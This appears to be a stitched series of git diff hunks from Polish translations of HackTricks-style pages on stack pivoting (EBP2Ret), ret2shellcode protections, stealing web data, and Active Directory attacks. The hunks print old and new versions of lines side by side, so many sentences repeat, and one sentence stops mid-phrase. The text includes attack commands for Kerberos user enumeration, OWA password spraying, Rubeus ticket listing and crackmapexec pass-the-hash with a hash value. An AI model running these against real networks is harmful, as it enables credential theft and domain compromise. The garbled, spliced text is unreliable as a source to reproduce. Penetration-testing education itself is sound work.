### EBP2Ret
Ta technika jest szczególnie przydatna, gdy możesz **zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** do stosu, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **skutecznie wskazując na adres przechowywany przez atakującego.**\
Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma iść, gdzie będziesz musiał zapisać adres, na który wskazuje ESP.
#### Budowa Exploita
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwszy `ret`**.
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwsze `ret`**.
Następnie musisz znać adres używany przez `ret`, który **wykona dowolny kod**. Możesz użyć:
- Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
- Adresu **`system()`** po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits).
- Adresu gadżetu **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) po którym następuje **shellcode** do wykonania.
- Jakiegoś łańcucha [**ROP**](rop-return-oriented-programing.md)
- Adresu **`system()`**, po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits).
- Adresu **`jump esp;`** gadgetu ([**ret2esp**](ret2esp-ret2reg.md)), po którym następuje **shellcode** do wykonania.
- Jakiegoś [**ROP**](rop-return-oriented-programing.md) łańcucha.
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontroli nad wykonaniem.
@ -38,20 +38,20 @@ Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pam
Istnieje specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.
### **Łańcuch EBP**
### **Łańcuchowanie EBP**
Dlatego umieszczając kontrolowany adres w wpisie `EBP` na stosie i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
Dlatego umieszczając kontrolowany adres w wpisie `EBP` stosu i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, możliwe jest umieszczenie w kontrolowanym miejscu ESP:
- **`&(next fake EBP)`** -> Załaduj nowy EBP z powodu `pop ebp` z instrukcji `leave`
- **`system()`** -> Wywołane przez `ret`
- **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie
- **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie od nowa
- **`&("/bin/sh")`**-> Parametr dla `system`
W zasadzie w ten sposób możliwe jest łączenie kilku fałszywych EBP, aby kontrolować przepływ programu.
W zasadzie w ten sposób możliwe jest łańcuchowanie kilku fałszywych EBP, aby kontrolować przepływ programu.
To jest jak [ret2lib](ret2lib/), ale bardziej skomplikowane bez oczywistych korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
To jest jak [ret2lib](ret2lib/index.html), ale bardziej skomplikowane, bez oczywistych korzyści, ale może być interesujące w niektórych przypadkach brzegowych.
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
```python
@ -91,7 +91,7 @@ print(p.recvline())
```
## EBP jest bezużyteczny
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego jakiekolwiek exploity działające poprzez kontrolowanie EBP w zasadzie będą nieudane, ponieważ nie mają żadnego rzeczywistego efektu.\
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego jakikolwiek exploit działający poprzez kontrolowanie EBP w zasadzie się nie powiedzie, ponieważ nie ma rzeczywistego efektu.\
Dzieje się tak, ponieważ **prolog i epilog zmieniają się**, jeśli binarka jest zoptymalizowana.
- **Nieoptymalizowane:**
@ -120,7 +120,7 @@ ret # return
### **`pop rsp`** gadget
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **`pop rsp` gadget** i był **leak ze stosu**:
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadget `pop rsp`** i występował **leak ze stosu**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

View File

@ -72,9 +72,9 @@ Ten skrypt konstruuje ładunek składający się z **NOP slide**, **shellcode**
## Ochrony
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotu EIP nigdy nie będzie śledzony.
- Ochrona **NX** (non-executable) [**stack**](../common-binary-protections-and-bypasses/no-exec-nx.md) uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotu EIP nigdy nie będzie śledzony.
- Ochrona **NX** (../common-binary-protections-and-bypasses/no-exec-nx.md) **stosu** uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.
## Inne przykłady i odniesienia

View File

@ -2,12 +2,12 @@
{{#include ./banners/hacktricks-training.md}}
Jeśli w pewnym momencie znajdziesz **stronę internetową, która prezentuje ci wrażliwe informacje na podstawie twojej sesji**: Może odzwierciedla ciasteczka, lub drukuje dane karty kredytowej lub inne wrażliwe informacje, możesz spróbować je ukraść.\
Jeśli w pewnym momencie znajdziesz **stronę internetową, która prezentuje ci wrażliwe informacje na podstawie twojej sesji**: Może to być odzwierciedlenie ciasteczek, lub drukowanie danych karty kredytowej lub jakichkolwiek innych wrażliwych informacji, możesz spróbować je ukraść.\
Oto główne sposoby, które możesz spróbować osiągnąć:
- [**CORS bypass**](pentesting-web/cors-bypass.md): Jeśli możesz obejść nagłówki CORS, będziesz w stanie ukraść informacje, wykonując żądanie Ajax do złośliwej strony.
- [**XSS**](pentesting-web/xss-cross-site-scripting/): Jeśli znajdziesz lukę XSS na stronie, możesz być w stanie ją wykorzystać do kradzieży informacji.
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Jeśli nie możesz wstrzyknąć tagów XSS, nadal możesz być w stanie ukraść informacje, używając innych standardowych tagów HTML.
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Jeśli znajdziesz lukę XSS na stronie, możesz być w stanie ją wykorzystać do kradzieży informacji.
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Jeśli nie możesz wstrzyknąć tagów XSS, nadal możesz być w stanie ukraść informacje, używając innych zwykłych tagów HTML.
- [**Clickjaking**](pentesting-web/clickjacking.md): Jeśli nie ma ochrony przed tym atakiem, możesz być w stanie oszukać użytkownika, aby wysłał ci wrażliwe dane (przykład [tutaj](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
{{#include ./banners/hacktricks-training.md}}

View File

@ -6,8 +6,8 @@ Jeśli w pewnym momencie znajdziesz **stronę internetową, która prezentuje ci
Oto główne sposoby, które możesz spróbować osiągnąć:
- [**CORS bypass**](../pentesting-web/cors-bypass.md): Jeśli możesz obejść nagłówki CORS, będziesz w stanie ukraść informacje, wykonując żądanie Ajax do złośliwej strony.
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Jeśli znajdziesz lukę XSS na stronie, możesz być w stanie ją wykorzystać do kradzieży informacji.
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Jeśli nie możesz wstrzyknąć tagów XSS, nadal możesz być w stanie ukraść informacje, używając innych standardowych tagów HTML.
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Jeśli znajdziesz lukę XSS na stronie, możesz być w stanie ją wykorzystać do kradzieży informacji.
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Jeśli nie możesz wstrzyknąć tagów XSS, nadal możesz być w stanie ukraść informacje, używając innych standardowych tagów HTML.
- [**Clickjaking**](../pentesting-web/clickjacking.md): Jeśli nie ma ochrony przed tym atakiem, możesz być w stanie oszukać użytkownika, aby wysłał ci wrażliwe dane (przykład [tutaj](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
{{#include ../banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@ Kluczowe pojęcia w **Active Directory** obejmują:
1. **Katalog** Zawiera wszystkie informacje dotyczące obiektów Active Directory.
2. **Obiekt** Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
3. **Domena** Służy jako kontener dla obiektów katalogu, z możliwością współistnienia wielu domen w **lesie**, z każdą z nich utrzymującą własny zbiór obiektów.
3. **Domena** Służy jako kontener dla obiektów katalogu, z możliwością współistnienia wielu domen w **lesie**, z każdą utrzymującą własny zbiór obiektów.
4. **Drzewo** Grupa domen, które dzielą wspólną domenę główną.
5. **Las** Szczyt struktury organizacyjnej w Active Directory, składający się z kilku drzew z **relacjami zaufania** między nimi.
@ -20,9 +20,9 @@ Kluczowe pojęcia w **Active Directory** obejmują:
1. **Usługi domenowe** Centralizuje przechowywanie danych i zarządza interakcjami między **użytkownikami** a **domenami**, w tym funkcjonalności **uwierzytelniania** i **wyszukiwania**.
2. **Usługi certyfikatów** Nadzoruje tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
3. **Usługi lekkiego katalogu** Wspiera aplikacje z katalogiem poprzez **protokół LDAP**.
3. **Usługi lekkiego katalogu** Wspiera aplikacje z katalogiem za pośrednictwem **protokół LDAP**.
4. **Usługi federacji katalogów** Zapewnia możliwości **jednolitego logowania** do uwierzytelniania użytkowników w wielu aplikacjach internetowych w jednej sesji.
5. **Zarządzanie prawami** Pomaga w ochronie materiałów objętych prawami autorskimi poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
5. **Zarządzanie prawami** Pomaga w ochronie materiałów objętych prawem autorskim poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
6. **Usługa DNS** Kluczowa dla rozwiązywania **nazw domen**.
Aby uzyskać bardziej szczegółowe wyjaśnienie, sprawdź: [**TechTerms - Definicja Active Directory**](https://techterms.com/definition/active_directory)
@ -55,7 +55,7 @@ Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji
../../network-services-pentesting/pentesting-smb/
{{#endref}}
- **Enumeracja Ldap**
- **Enumeracja LDAP**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Bardziej szczegółowy przewodnik na temat tego, jak enumerować LDAP, można znaleźć tutaj (zwróć **szczególną uwagę na dostęp anonimowy**):
@ -66,17 +66,17 @@ Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji
- **Zatrucie sieci**
- Zbieraj poświadczenia [**podszywając się pod usługi za pomocą Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta, [**nadużywając ataku relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Zbieraj poświadczenia **ujawniając** [**fałszywe usługi UPnP za pomocą evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- Zbieraj poświadczenia **eksponując** [**fałszywe usługi UPnP za pomocą evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Wyodrębnij nazwy użytkowników/nazwy z dokumentów wewnętrznych, mediów społecznościowych, usług (głównie web) w środowiskach domenowych oraz z publicznie dostępnych.
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **namingowych AD** (**[**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.N_, _NazwaNazwisko_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe cyfry_ (abc123).
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **nazewnictwa użytkowników AD** (**[**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.N_, _NazwaNazwisko_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe liczby_ (abc123).
- Narzędzia:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### Enumeracja użytkowników
- **Anonimowa enumeracja SMB/LDAP:** Sprawdź strony [**testowania SMB**](../../network-services-pentesting/pentesting-smb/) i [**testowania LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Anonimowa enumeracja SMB/LDAP:** Sprawdź strony [**testowania SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**testowania LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Enumeracja Kerbrute**: Gdy **żądany jest nieprawidłowy nazwa użytkownika**, serwer odpowie używając kodu błędu **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala nam stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** wywołają albo **TGT w odpowiedzi AS-REP**, albo błąd _KRB5KDC_ERR_PREAUTH_REQUIRED_, co wskazuje, że użytkownik musi przeprowadzić wstępne uwierzytelnienie.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* oraz w tym ([**statystycznie-prawdopodobne-nazwy-użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)).
> Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* i tym ([**statystycznie-prawdopodobne-nazwy-użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> Jednak powinieneś mieć **imię i nazwisko osób pracujących w firmie** z kroku rekonesansu, który powinieneś wykonać wcześniej. Mając imię i nazwisko, możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951), aby wygenerować potencjalne poprawne nazwy użytkowników.
@ -129,11 +129,11 @@ Możesz być w stanie **uzyskać** niektóre wyzwania **haszy**, aby złamać **
### NTML Relay
Jeśli udało ci się zenumerować aktywny katalog, będziesz miał **więcej e-maili i lepsze zrozumienie sieci**. Możesz być w stanie wymusić ataki NTML [**relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* aby uzyskać dostęp do środowiska AD.
Jeśli udało ci się zenumerować aktywny katalog, będziesz miał **więcej e-maili i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTML [**atak relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* aby uzyskać dostęp do środowiska AD.
### Kradzież poświadczeń NTLM
Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów** z **użytkownikiem null lub gościem**, możesz **umieścić pliki** (jak plik SCF), które, jeśli zostaną w jakiś sposób otwarte, **wywołają uwierzytelnienie NTML przeciwko tobie**, abyś mógł **ukraść** **wyzwanie NTLM** do złamania:
Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów** z **użytkownikiem null lub gościem**, możesz **umieścić pliki** (jak plik SCF), które, jeśli zostaną w jakiś sposób otwarte, **wywołają uwierzytelnienie NTML przeciwko tobie**, abyś mógł **ukraść** **wyzwanie NTLM** do złamania go:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -141,7 +141,7 @@ Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów** z **uż
## Enumeracja Active Directory Z poświadczeniami/sesją
Na tym etapie musisz mieć **skomprymowane poświadczenia lub sesję ważnego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub powłokę jako użytkownik domenowy, **powinieneś pamiętać, że opcje podane wcześniej są nadal opcjami do skompromitowania innych użytkowników**.
Na tym etapie musisz mieć **skomprymowane poświadczenia lub sesję ważnego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub powłokę jako użytkownik domenowy, **powinieneś pamiętać, że opcje podane wcześniej wciąż są opcjami do skompromitowania innych użytkowników**.
Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **problem podwójnego skoku Kerberos.**
@ -151,27 +151,27 @@ kerberos-double-hop-problem.md
### Enumeracja
Posiadając skompromitowane konto, to **duży krok w kierunku skompromitowania całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:**
Posiadając skompromitowane konto, to **duży krok w kierunku kompromitacji całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:**
W odniesieniu do [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego potencjalnie podatnego użytkownika, a w odniesieniu do [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł i nowych obiecujących haseł.
- Możesz użyć [**CMD do przeprowadzenia podstawowego rekonesansu**](../basic-cmd-for-pentesters.md#domain-info)
- Możesz również użyć [**powershell do rekonesansu**](../basic-powershell-for-pentesters/), co będzie bardziej dyskretne
- Możesz również użyć [**powershell do rekonesansu**](../basic-powershell-for-pentesters/index.html), co będzie bardziej dyskretne
- Możesz także [**użyć powerview**](../basic-powershell-for-pentesters/powerview.md), aby uzyskać bardziej szczegółowe informacje
- Innym niesamowitym narzędziem do rekonesansu w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretny** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
- **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Rekordy DNS AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje.
- Narzędziem z GUI, które możesz użyć do enumeracji katalogu, jest **AdExplorer.exe** z **SysInternal** Suite.
- Możesz również przeszukać bazę danych LDAP za pomocą **ldapsearch**, aby szukać poświadczeń w polach _userPassword_ i _unixUserPassword_, lub nawet dla _Description_. cf. [Hasło w komentarzu użytkownika AD na PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod.
- Jeśli używasz **Linux**, możesz również zenumerować domenę za pomocą [**pywerview**](https://github.com/the-useless-one/pywerview).
- Jeśli używasz **Linux**, możesz również enumerować domenę za pomocą [**pywerview**](https://github.com/the-useless-one/pywerview).
- Możesz również spróbować zautomatyzowanych narzędzi, takich jak:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Ekstrakcja wszystkich użytkowników domeny**
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linux możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
> Nawet jeśli ta sekcja enumeracji wygląda na małą, to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak zenumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić.
> Nawet jeśli ta sekcja enumeracji wygląda na małą, to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak enumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić.
### Kerberoast
@ -191,11 +191,11 @@ Gdy już uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp d
Jeśli skompromitowałeś poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** z tym użytkownikiem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **podniesienie uprawnień lokalnie i poszukiwanie poświadczeń**. Dzieje się tak, ponieważ tylko z lokalnymi uprawnieniami administratora będziesz w stanie **zrzucić hasze innych użytkowników** w pamięci (LSASS) i lokalnie (SAM).
W tej książce znajduje się pełna strona na temat [**lokalnego podnoszenia uprawnień w Windows**](../windows-local-privilege-escalation/) oraz [**lista kontrolna**](../checklist-windows-privilege-escalation.md). Nie zapomnij również użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
W tej książce znajduje się pełna strona na temat [**lokalnego podnoszenia uprawnień w Windows**](../windows-local-privilege-escalation/index.html) oraz [**lista kontrolna**](../checklist-windows-privilege-escalation.md). Nie zapomnij również użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Bilety bieżącej sesji
Jest bardzo **mało prawdopodobne**, że znajdziesz **bilety** w bieżącym użytkowniku **dającym ci pozwolenie na dostęp** do nieoczekiwanych zasobów, ale możesz sprawdzić:
Jest bardzo **mało prawdopodobne**, że znajdziesz **bilety** w bieżącym użytkowniku **dającym ci pozwolenie na dostęp** do nieoczekiwanych
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -211,7 +211,7 @@ Jeśli udało ci się zenumerować aktywną dyrekcję, będziesz miał **więcej
Teraz, gdy masz kilka podstawowych poświadczeń, powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne i powtarzalne zadanie (a jeszcze bardziej, jeśli znajdziesz setki dokumentów, które musisz sprawdzić).
[**Śledź ten link, aby dowiedzieć się o narzędziach, których możesz użyć.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
[**Śledź ten link, aby dowiedzieć się o narzędziach, które możesz wykorzystać.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Kradzież poświadczeń NTLM
@ -235,19 +235,19 @@ printnightmare.md
### Ekstrakcja haszy
Mam nadzieję, że udało ci się **skompromentować jakieś konto lokalnego administratora** za pomocą [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) w tym relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/).\
Mam nadzieję, że udało ci się **skompromentować jakieś konto lokalnego administratora** za pomocą [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) w tym relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Następnie czas na zrzut wszystkich haszy w pamięci i lokalnie.\
[**Przeczytaj tę stronę o różnych sposobach uzyskania haszy.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**Gdy masz hash użytkownika**, możesz go użyć do **podszywania się** pod niego.\
Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM używając** tego **hasha**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.\
Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM używając** tego **hasza**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.\
[**Przeczytaj tę stronę, aby uzyskać więcej informacji.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Ten atak ma na celu **użycie hasha NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może to być szczególnie **przydatne w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
Ten atak ma na celu **użycie hasza NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może to być szczególnie **przydatne w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### Nadużycie MSSQL i Zaufane Linki
Jeśli użytkownik ma uprawnienia do **dostępu do instancji MSSQL**, może być w stanie użyć go do **wykonywania poleceń** na hoście MSSQL (jeśli działa jako SA), **ukraść** hasz NetNTLM lub nawet przeprowadzić **atak** **przekaźnikowy**.\
